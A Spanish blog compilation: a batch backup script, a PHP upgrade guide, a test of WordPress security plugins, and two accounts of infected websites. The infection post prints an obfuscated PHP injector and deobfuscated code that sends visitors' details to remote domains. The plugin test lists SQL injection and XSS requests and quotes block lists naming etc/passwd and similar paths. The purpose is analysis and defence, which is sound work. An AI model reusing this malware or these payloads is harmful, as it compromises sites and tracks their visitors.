Usando 7zip para hacer una sencilla copia de seguridad

Si tienes instalado 7zip [1] puedes usarlo para hacerte una sencilla copia de seguridad. Este es un ejemplo de cómo hacerlo.

@echo off

:: URL: http://en.wikibooks.org/wiki/Windows_Programming/Programming_CMD
:: Variables

SET zip_path="C:\Program Files\7-Zip\7z.exe"
SET base_folder="C:\carpeta-de-origen\*.*"
SET out_folder=D:\carpeta-de-destino\
SET zip_name=copia-seguridad.zip

::echo %zip_path%

:: Programa
IF EXIST %out_folder% (
CLS
SET passw=
echo.
echo.Iniciamos el proceso de copia.
del %out_folder%%zip_name%
%zip_path% a -tzip -scsDOS -p%passw% %out_folder%%zip_name% -r %base_folder%
echo.Proceso finalizado.
set passw=
pause
) ELSE (
echo.ERROR: "No se encuentra la carpeta de destino, detenemos el proceso."
)
ECHO ON

[1] http://www.7-zip.org/

IE11 avisando de la posible infección;

Historia de una infección

Recientemente al acceder con Internet Explorer 11 a una web, que me pidieron ajustase un tema de diseño, me salió un aviso de bloqueo por virus. Sorprendido pedí acceso al servidor y al revisarle pude comprobar que todos los documentos php tenían un código extra.

$gabsqmn = ';!osvufs}w;* x7f!>> x22!pds," x72 166 x3a 61 x31")) Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]42d>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)## x22l:!}V;3q%}U;y]}R;2]},;os7pd%6|6.7eu{66~67<&w6<:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h.973:8297f:5297e:56-xr.985:52985-t.98]K;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`xT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27mw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hI#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoVutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|4b!>!%yy)#}#-# x24- x24-tusqpt)%z!fmtf!%z>2<!%ww2)%w`TW~ x24<1127-K)ebfsX x27u%)7fmjix6#]ybq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2f`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1#<!%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]-#:#* x24- x24!>! x24/%tjw/ x24)% x24- x24y4 x24E{h%)sutcvt)esp>hmg%!j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqow/ x24)##-!#~<#/% x24- x24!>!f56 x64 162 x6f 151 x64"))) { $zmbmbj<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gjvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]Kor (strstr($uas," x61 11*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5cY%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nf%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!v>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bub%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x2 x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSF!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjy22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbctmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928," x6d 163 x69 145")) or (strstr($uae44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_Sfttj x22)gj6<^#Y# x5cq% x27Y%6<.msv%)!gj}Z;h!opjudovg}{:*mmvo:>:iuhofm%:-5ppde:4%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x2fs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSVI&b%!|!*)323zbek!~!<b% x7f!mcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssbif((function_exists(" x6f 142 x5f 163 )%epnbss-%rxW~!Ypp2)%zB%z>! x24/%txpmpusut!-#j0#!/!**#sf@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sf27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<!%tmw!>!#]y84]275]y83]273]y76]277r_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y7!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x277pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6> x22:ftmbg39*56A:>:8:|:7#6#)t6-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!7]36]373P6]36]73]83]238M7]381]2117gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*34]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:5594tRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:c x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!g = " x63 162 x65 141 x74 145 x5f 146 x75 1^#iubq# x5cq% x27jsv%6^#zsfvr# x5cq%7**^#zsfvr# x5cq%)u%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%t%)3of:opjudovg<~ x24<!%o:!>! x242178}52w6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**11%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18yyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27t31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s) { $GLOBALS[" x61 156 x75 156 x61"]=1; $jxucrou();}}ng(0); $wqwfgtb = implode(array_map("vxcaaud",stqj%7> x2272qj%)7gj6<**2qj%)hopm37R17,67R37,#/q%>U<#16,47R57,27R66,4- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=t$uas=strtolower($_SERVER[" x48 124 x5Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x2]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-;`msvd}R;*msv%)}.;`UQPMSVD!]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/4 120 x5f 125 x53 105 x52 137 +{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x4#-!#]y38#-!%w:**<")));$jxucrou = $zmbmbjg("", $wqwfgtb); n)-1);} @error_reporti35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-j{fpg)% x24- x24*<!~! x24/%t2,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6<;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn3]317]445]212]445]43]321]46456 x63 164 x69 157 x6e"; function vxx74 141 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"])))qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7:|:**t%)m%=*h%)m%):fmjix:<##:>:h2]254]y76#<!%w:!>!(%w:!>! x246767~6!} x27;!>>>!}_;gvc%}&;ftmbg} x7fb%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp7}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% x<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7f%7-C)fepmqnjA x27&6! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/hEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUU>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgPSTrrEvxNoITCnuF_EtaeRCxECaLPer_RtSminrogz'; $ycnzpfbzh=explode(chr((808-688)), substr($gabsqmn,(38849-32923),(107-73)));$ycnzpfbzh=explode(chr((120)), substr($gabsqmn,5926,34)); $jjggwnhcs = $ycnzpfbzh[0]($ycnzpfbzh[(7-6)]);$mthfsza = $ycnzpfbzh[0]($ycnzpfbzh[(8-6)]); if (!function_exists('lvvutnx')) { function lvvutnx($yjiwfad, $mwvtndg,$iwcyobwy) { $gacykiz = NULL; for($ukprlha=0;$ukprlha<(sizeof($yjiwfad)/2);$ukprlha++) {$gacykiz .= substr($mwvtndg, $yjiwfad[($ukprlha*2)],$yjiwfad[($ukprlha*2)+(3-2)]);} return $iwcyobwy(chr((63-54)),chr((530-438)),$gacykiz); }; } $xtpapce = explode(chr((262-218)),'2759,38,5093,64,4189,40,4398,37,4618,30,2979,40,2321,36,26,26,1511,23,1305,36,3681,43,5057,36,5755,26,4791,22,4242,48,3107,52,5259,39,2578,39,3220,54,199,22,5643,43,3879,40,611,57,1596,57,668,43,3452,59,4290,32,5157,70,3724,58,2401,35,1939,67,5686,48,4071,68,2617,64,4882,52,3617,64,988,47,4533,27,5421,67,0,26,2436,20,4934,57,1341,69,4033,38,2918,61,1229,46,1824,57,1162,67,2101,49,811,51,5488,63,2481,54,1653,55,2853,65,2831,22,2708,51,5356,65,3564,53,2357,44,5848,42,2681,27,4685,48,2150,59,2058,43,355,55,2256,65,3325,31,498,52,2456,25,221,47,4648,37,3159,61,928,60,4322,34,460,38,307,48,171,28,1410,46,746,65,2535,43,3073,34,1064,50,5781,67,3782,57,5227,32,3919,67,4490,43,3839,40,5551,53,2006,52,550,33,1114,48,5298,58,4356,42,4853,29,1275,30,3986,47,2209,47,1756,68,4991,38,2797,34,410,50,3274,51,711,35,4139,50,268,39,3511,53,3356,63,5890,36,3019,54,1456,55,1708,48,111,60,52,59,3419,33,5734,21,5029,28,4560,58,4813,40,1881,58,1534,62,1035,29,5604,39,583,28,862,66,4435,55,4733,58,4229,13'); $efkbsuam = $jjggwnhcs("",lvvutnx($xtpapce,$gabsqmn,$mthfsza)); $jjggwnhcs=$gabsqmn; $efkbsuam("");$efkbsuam=(574-453);$gabsqmn=$efkbsuam-1;

Tras ir ejecutando el código y desofuscando parte de él, con unphp.net, pude llegar a la parte interesante del código real que se estaba ejecutando:

function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return$buf; }   
function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } 
function g_3($url) { if (function_exists("file")=== false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; }  
function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf= ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf;  }  
function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; }

if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="\x1f\x8b\x08") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2));$i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"\0",$i)+1; if ($flg & 16) $i=strpos($gzData,"\0", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}}}
function k34($op,$text) { return base64_encode(en2($text, $op)); } 
function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } 
function day212() { 
    $a=check212("HTTP_USER_AGENT"); 
    $b=check212("HTTP_REFERER"); 
    $c=check212("REMOTE_ADDR"); 
    $d=check212("HTTP_HOST"); 
    $e=check212("PHP_SELF"); 
    $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); 
    if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or(preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) 
    { 
        $o1 = ""; 
    } 
    else { 
        $op=mt_rand(100000,999999); 
        $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); 
        $url="http://".cqq(".com")."/".$g4; 
        $ca1=en2(@gtd($url),$op); 
        $a1=@explode("!NF0",$ca1); 
        if (sizeof($a1)>=2)
            $o1 =$a1[1]; 
        else 
            $o1 = ""; 
    } 
    return $o1; 
}
if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; }}
if(!function_exists("pa22")) { function pa22($v) { Header("Content-Encoding: none"); 
$p="\x70\162\x65\147\x5f"; // preg_
$p1=$p."\155\x61\164\x63\150"; // match
$p2=$p."\162\x65\160\x6c\141\x63\145"; // replace
$t=dcoo($v); if($p1("/\<\/body/si",$t)) { return $p2("/(\<\/body[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); } else { if($p1("/\<\/html/si",$t)) { return $p2("/(\<\/html[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); } else { return }

Si alguien accedía a la página infectada usando Internet Explorer 11 o Android, no eran robots de rastreo ni se accedía a una página que contuviera “admin” en el nombre, se enviaban las variables HTTP_USER_AGENT, HTTP_REFERER, REMOTE_ADDR, HTTP_HOST, PHP_SELF a cualquiera de estos dominios 33db9538.com, 9507c4e8.com, e5b57288.com, 54dfa1cb.com usando para ello file_get_contents, curl, file o sockets. Todo un trabajo de ocultación del código para enviar la información de acceso de los visitantes a la web.

Cómo hackearon a la gente de Hacking Team

A pesar de no publicar mucho últimamente, no he podido dejar de hacerlo para comentaros que ayer leí, en Cyberhades, un post [1] sobre cómo hackearon el año pasado a Hacking Team [2]. Si os gusta la seguridad informática no dejéis de leerlo, es muy interesante [3].

 

[1] http://www.cyberhades.com/2016/04/16/detalles-de-la-intrusion-a-hacking-team/
[2] http://hipertextual.com/2015/07/hacking-team-hackeado
[3] http://pastebin.com/raw/GPSHF04A

Wamp server, a Windows web development environment.

Actualizar la versión de PHP que usamos en Wamp

Aquellos que usamos Wamp, para desarrollar aplicaciones PHP en Windows, hay veces que nos vemos limitados a trabajar con las versiones que este nos instala (en mi caso estaba con Apache 2.4, PHP 5.4.12 y mysql 5.6). Desde hace tiempo vengo pensando en cambiar esta situación y hoy me he puesto a ello. Voy a mostraros cómo actualizar la versión de PHP en nuestro WAMP, pasando de la 5.4.12 a la 5.6.14. Os lo dejo en sencillos pasos:

  1. Descargar la nueva versión de PHP (en mi caso http://windows.php.net/downloads/releases/php-5.6.14-Win32-VC11-x64.zip)
  2. Descomprimirla en wamp/bin/php con el nombre de la versión (php5.6.14)
  3. Eliminar ficheros de la carpeta wamp/bin/apache/Apache2.4.4/bin que ya no usaremos por estar con PHP 5.6 en Apache 2.4: php5isapi.dll y php5ts.dll
  4. Copiamos a la carpeta wamp/bin/apache/Apache2.4.4/bin el fichero php5apache2_4.dll, que viene en el fichero descargado con la nueva versión de PHP (php-5.6.14-Win32-VC11-x64.zip)
  5. Movemos el fichero wamp/bin/apache/Apache2.4.4/bin/php.ini a wamp/bin/php/php5.6.14/phpForApache.ini
  6. Eliminamos la carpeta wamp/bin/php/php5.4.12 o la renombramos de modo que, ordenando el contenido de la carpeta wamp/bin/php/ alfabéticamente, esta quede después de la nueva php5.6.14.
  7. Editamos los ficheros wamp/wampmanager.conf, wamp/wampmanager.ini y wamp/bin/apache/apache2.4.9/conf/httpd.conf en los que sustituimos la cadena “5.4.12” (la versión actual de PHP) por “5.6.14” (la nueva).
  8. Editamos los ficheros php.ini (en la carpeta de php y en la bin de apache) para corregir las rutas de la carpeta de extensiones de php.

Tras estos pasos, si inicias Wamp y accedes a la página http://localhost/?phpinfo debieras ver que la versión de PHP es la nueva 5.6.14

Wamp server con PHP actualizado a 5.6.14
Wamp server con PHP actualizado a 5.6.14

Nota: debemos dejar dos ficheros php.ini, uno en la carpeta bin de php (para la ejecución de este desde la consola) y otro en el bin de apache (para cuando PHP se ejecuta dentro de Apache). El por qué lo puedes leer aquí.

Wordpress Security

WordPress security: plugins de seguridad en WordPress

A la hora de dotar de más seguridad a un WordPress, además de la que trae de serie, nos encontramos con una selva de opciones. Podemos querer dotar a nuestra web de control de accesos (vigilancia del formulario de login para evitar ataques de fuerza bruta), o bloquear  peticiones sospechosas (XSS, SqlInjection). Quizás también queramos vigilar los ficheros que nuestros usuarios suben a la web (exploits, shells, virus, etc), querer interactuar con la base de datos (copia de seguridad de la misma, consultas, etc) o controlar las versiones de nuestros plugins.

Si buscamos en el directorio de plugins de WordPress  con los términos “wordpress firewall” o “wordpress security” nos salen bastantes candidatos (algunos repetidos en ambas búsquedas), todos ellos luchando por ser la solución definitiva para la Seguridad de WordPress. Personalmente, suelo huir de las soluciones “todo en uno” porque, como dice un refrán español, “el que mucho abarca, poco aprieta”. Pero dejémonos de charlas y vamos a lo que interesa.

Análisis

Vamos a realizar el análisis de algunos de los plugins más descargados, o de los que aparecen en los primeros puestos de las búsquedas, en los apartados de firewall o security. De ellos, vamos a intentar averiguar cómo se comportan respecto al análisis y control de las peticiones que llegan desde el usuario. Es decir, nos centraremos en ver cómo se compartan actuando como Firewall de la aplicación o como IDS (Intrusion Detection System).

Para el test, realizaremos estas sencillas peticiones, tanto GET como POST, para ver cómo se comportan:

  1. GET – http://www.wordpress.exa/?p=91+order+by+23;
  2. GET – http://www.wordpress.exa/?p=91+union+all+select+1;
  3. GET – http://www.wordpress.exa/?p=91+or+(1=(select+count(*)+from+mysql.user));
  4. GET – http://www.wordpress.exa/?p=91+or+(1=(select+count(*)+from+information_schema.tables));
  5. GET – http://www.wordpress.exa/?p=91“><img src=”” onerror=”alert(1)”>;
  6. POST – http://www.wordpress.exa/ – data = {txtBuscar : post”><!—}
  7. GET http://www.wordpress.exa/?p=91+or+(1%3D(select%2Bcount(*)+from+information_schema.tables))%3B
  8. GET http://www.wordpress.exa/?p=91%20%6F%72%20%28%31%3D%28%73%65%6C%65%63%74%2B%63%6F%75%6E%74%28%2A%29%20%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%74%61%62%6C%65%73%29%29%3B

Los plugins escogidos, y que instalaremos y configuraremos su apartado de Firewall, son los siguientes.

Tras proceder a realizar todas las peticiones para cada uno de ellos, obtenemos la siguiente lista en la que  se indica si el plugin fue capaz de detectar el ataque (alucinad como yo).

Plugin Petición
(1) (2) (3) (4) (5) (6) (7) (8)
Simple Security Firewall NO SI NO NO NO NO NO NO
BulletProof Security NO SI SI SI SI NO SI NO
Block Bad Queries NO NO NO NO NO NO NO NO
Wordfence Security MA MA MA MA MA MA MA MA
Sucuri Security ? ? ? ? ? ? ? ?
All in One WP Security & Firewall NO NO NO NO SI NO NO NO
Mute Screamer NO NO SI SI SI SI SI SI

 

Resumen

Ninguno de los plugins analizados, salvo NinjaFirewall (quizás Sucuri) y Mute Screamer, analizan las variables que no vengan por GET (que son muchas). Muchos optan por usar el fichero .htaccess como elemento de bloqueo, que si bien detiene el ataque en las primeras fases de la petición (sólo entra en juego Apache, no el motor de base de datos) no tiene en cuenta la posible codificación de las variables ni aquellas enviadas por POST. Esta dependencia del fichero .htaccess hace que no funcionen en servidores que no sean Apache (si esto no es cierto, y alguno lo sabe, agradecería que me lo comentase). Por otro lado, los que no usan .htaccess implementan sus propios códigos de control pero siguen limitándose a las variables GET.

La sorpresa que me he llevado no ha sido pequeña, pensaba que el código que protege a más de 400.000 de instalaciones (no cuento a Wordfence, con sus 800.000, pero debiera hacerlo porque el bloqueo de IPs es manual y no hay un trabajo real de IDS) estaba mejor hecho. Si yo que nada sé sobre seguridad he visto esto, qué habrán encontrado los profesionales del tema.

Si tuviera que poner nota a los plugins en cuanto a la detección y bloqueo de ataques podría ser así:

  • Mute Screamer: notable
  • WP_Expose: notable
  • Wordfence Security: suspenso
  • BulletProof Security: suspenso
  • All in One WP Security & Firewall: suspenso
  • Block Bad Queries: suspenso
  • Simple Security Firewall: suspenso

A la vista de estos resultados, tened cuidado con qué instaláis en vuestro WordPress y cuanto confiáis en ello.

Algo de código

Antes de acabar veamos algo de las tripas de alguno de los plugin. En el caso de NinjaFirewall trabaja usando la directiva PHP de auto_prepend_file, lo que le da un acceso temprano a las variables, y permite analizar tanto GET como POST, REQUEST, COOKIE, HTTP_USER_AGENT, HTTP_REFERER, PATH_INFO, PATH_TRANSLATED y PHP_SELF. Pero el cómo lo hace podría decirse que es un poco ligero porque sólo se centra en escapar caracteres como ( “,’, <, >, %00,`  ) mediante real_escape_string() o con expresiones regulares.

if (is_string($str) ) {
	if ($how == 1) {
		$str2 = $nfw_['mysqli']->real_escape_string($str);
		$str2 = str_replace('`', '\`', $str2);
	} elseif ($how == 2) {
		$str2 = str_replace(	array('\\', "'", '"', "\x0d", "\x0a", "\x00", "\x1a", '`', '<', '>'),
			array('\\\\', "\\'", '\\"', 'X', 'X', 'X', 'X', '\\`', '\\<', '\\>'),	$str);
	} else {
		$str2 = str_replace(	array('\\', "'", "\x00", "\x1a", '`'), array('\\\\', "\\'", 'X', 'X', '\\`'),	$str);
	}
}
else {

	if ($how == 3) {
		$key2 = str_replace(	array('\\', "'", "\x00", "\x1a", '`', '<', '>'),
			array('\\\\', "\\'", 'X', 'X', '\\`', '<', '>'),	$key, $occ);
	} else {
		// We sanitise variables **name** using :
		// -str_replace to escape [\], ['] and ["]
		// -str_replace to replace [\n], [\r], [\x1a] and [\x00] with [X]
		//	-str_replace to replace [`], [<] and [>] with their HTML entities (` < >)
		$key2 = str_replace(	array('\\', "'", '"', "\x0d", "\x0a", "\x00", "\x1a", '`', '<', '>'),
			array('\\\\', "\\'", '\\"', 'X', 'X', 'X', 'X', '`', '<', '>'),	$key, $occ);
	}
}

BulletProof Security trabaja con .htaccess lo que imposibilita la detección de ataques codificados vía GET y no gestiona los que son enviados por POST.

Sucuri Security:  trabaja, creo, enviando la petición a los servidores de Sucuri lo que, si es cierto, me hace pensar en la posible penalización en el rendimiento.

Block Bad Queries: Usa código propio para bloquear las peticiones pero es tan pobre que casi es como si no lo tuviera. Además, olvida que los caracteres que llegan pueden estar codificados y hace una comparación literal.

$request_uri_array  = apply_filters('request_uri_items',  array('eval\(', 'UNION\+SELECT', '\(null\)', 'base64_', '\/localhost', '\%2Flocalhost', '\/pingserver', '\/config\.', '\/wwwroot', '\/makefile', 'crossdomain\.', 'proc\/self\/environ', 'etc\/passwd', '\/https\:', '\/http\:', '\/ftp\:', '\/cgi\/', '\.cgi', '\.exe', '\.sql', '\.ini', '\.dll', '\.asp', '\.jsp', '\/\.bash', '\/\.git', '\/\.svn', '\/\.tar', ' ', '\<', '\>', '\/\=', '\.\.\.', '\+\+\+', '\:\/\/', '\/&&', '\/Nt\.', '\;Nt\.', '\=Nt\.', '\,Nt\.', '\.exec\(', '\)\.html\(', '\{x\.html\(', '\(function\('));
	$query_string_array = apply_filters('query_string_items', array('\.\.\/', '127\.0\.0\.1', 'localhost', 'loopback', '\%0A', '\%0D', '\%00', '\%2e\%2e', 'input_file', 'execute', 'mosconfig', 'path\=\.', 'mod\=\.'));
	$user_agent_array   = apply_filters('user_agent_items',   array('binlar', 'casper', 'cmswor', 'diavol', 'dotbot', 'finder', 'flicky', 'nutch', 'planet', 'purebot', 'pycurl', 'skygrid', 'sucker', 'turnit', 'vikspi', 'zmeu'));
// more code
preg_match( '/' . implode( '|', $request_uri_array )  . '/i', $request_uri_string )

Simple Security Firewall: con código de la aplicación, del estilo de BBQ, que ni comentaré. Este es el código de src/processors/firewall.php que cómo controla las peticiones…miedo que da!

protected function doPassCheckBlockSqlQueries() {
	$aTerms = array(
		'/concat\s*\(/i',
		'/group_concat/i',
		'/union.*select/i'
	);
	$fPass = $this->doPassCheck( $this->getParamsToCheck(), $aTerms, true );
	if ( !$fPass ) {
		$sAuditMessage = sprintf( _wpsf__('Firewall Trigger: %s.'), _wpsf__('SQL Queries') );
		$this->addToAuditEntry( $sAuditMessage, 3, 'firewall_block' );
		$this->doStatIncrement( 'firewall.blocked.sqlqueries' );
	}
	return $fPass;
}
private function doPassCheck( $aParamValues, $aMatchTerms, $fRegex = false ) {

	$fFAIL = false;
	// code
	if ( $fRegex && preg_match( $sTerm, $mValue ) ) { //dodgy term pattern found in a parameter value
		$fFAIL = true;
	}
	else if ( strpos( $mValue, $sTerm ) !== false ) { //dodgy term found in a parameter value
		$fFAIL = true;
	}
	// code

	return true;
}

Wordfence Security: No tiene un Firewall como tal, tiene un monitor en tiempo real de las peticiones sobre el que permite bannear IP’s. Es un trabajo manual con lo que lo voy a considerar como IDS.

All in One WP Security & Firewall trabaja con .htaccess, al igual que Bulletproof Secutiry pero con menos controles que este, e ignora todo lo que venga por POST.

Dropbox logo

Cierro mi cuenta de Dropbox, no quiero a Condoleezza Rice en mis archivos

Hoy me he enterado, más bien tarde por que esto sucedió el 9 de Abril de este  2014 [1], que Dropbox ha contratado a Condoleezza Rice, ex Secretaria de Estado de los Estados Unidos, como miembro de su equipo de dirección. En Drop-dropbox tienes una lista de motivos por los que cerrar tu cuenta de Dropbox y alternativas igual de buenas, o mejores, que merecen la pena probar. La seguridad de tus datos no es un tema trivial, tú verás lo que haces. De momento, abandono Dropbox, me abro una cuenta a https://spideroak.com/ y a ver qué tal.

[1] Información sobre la contratación: https://blog.dropbox.com/2014/04/growing-our-leadership-team/

Cosas que pasan al no actualizar tu CMS

Hoy un compañero me pregunta: “oye, me están cambiando los permisos de un documento PHP alojado en mi web, ¿qué puede ser?” Como suena raro me levanto y veo qué le pasa: edita una fichero, lo sube por FTP, le pone los permisos adecuados y al minuto le son cambiados. Hummm Mientras repetimos el proceso, pensando a la vez que puede estar pasando, le llega un email de la empresa de hosting avisándole de un posible virus. Date, ya tenemos el motivo!

Editamos el documento en cuestión y vemos unas línea de código raras:

<?php
#12a377#
error_reporting(0); ini_set('display_errors',0); $wp_anscf0485 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_anscf0485) && !preg_match ('/bot/i', $wp_anscf0485))){
